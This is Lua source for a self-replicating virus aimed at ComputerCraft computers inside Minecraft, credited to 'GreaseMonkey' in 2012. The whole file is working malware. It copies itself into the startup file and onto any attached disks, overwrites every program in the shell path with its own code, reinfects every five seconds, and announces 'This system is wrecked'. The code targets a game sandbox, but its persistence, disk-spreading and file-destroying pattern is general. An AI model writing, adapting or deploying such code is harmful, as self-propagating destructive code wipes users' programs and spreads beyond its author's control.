CompVirus.lua

local xpayload = [[
-- evalquine resident ComputerCraft virus
-- by GreaseMonkey, 2012-04-04

local payload, xshell
payload, xshell = ...

local function wreck_everything()
local function split(s,token)
local l = {}
local pos = 1
while pos <= #s do
local npos = string.find(s,token,pos,true)
if npos == nil then
break
end
l[#l+1] = string.sub(s,pos,npos-1)
pos = npos+1
end
l[#l+1] = string.sub(s,pos)
return l
end

local function infect_startup_unsafe(xto)
if fs.exists(xto) then
fs.delete(xto)
end
local fp = io.open(xto,"w")
fp:write("local xpayload = [".."[\n")
fp:write(payload)
fp:write("]".."]\nloadstring(xpayload)(xpayload,shell)\n")
fp:close()
end

local function infect_startup(xto)
local r,s
r,s = pcall(infect_startup_unsafe, xto)
if not r then
print("FAIL "..xto..": "..s)
end
end

-- infect /startup
infect_startup("startup")

-- infect any disks
-- based on code in /rom/programs/shell
for k,side in pairs(redstone.getSides()) do
if disk.isPresent(side) then
local target = disk.getMountPath(side)
infect_startup(fs.combine(target,"startup"))
end
end

-- wreck everything in shell.path
local spath = xshell.path()
--local spath = ".:/rom/programs:/rom/programs/turtle:/rom/programs/computer:/rom/programs/http"
for k,p in ipairs(split(spath,":")) do
local pref = string.sub(p,1,1)
if pref == "/" or pref == "\\" then
for k,name in ipairs(fs.list(p)) do
-- try to infect the file in question
local r = pcall(infect_startup_unsafe, fs.combine(p,name))
if not r then
-- we couldn't infect it - infect it in the root instead.
infect_startup(name)
end
end
end
os.sleep(0.05)
end

end

local function wrecker()
while true do
os.sleep(5)
wreck_everything()
end
end

-- call wreck_everything
wreck_everything()
print("This system is wrecked")

-- now bring up a shell
parallel.waitForAll(
wrecker, function()
xshell.run("/rom/programs/shell")
end
)
]]
loadstring(xpayload)(xpayload,shell)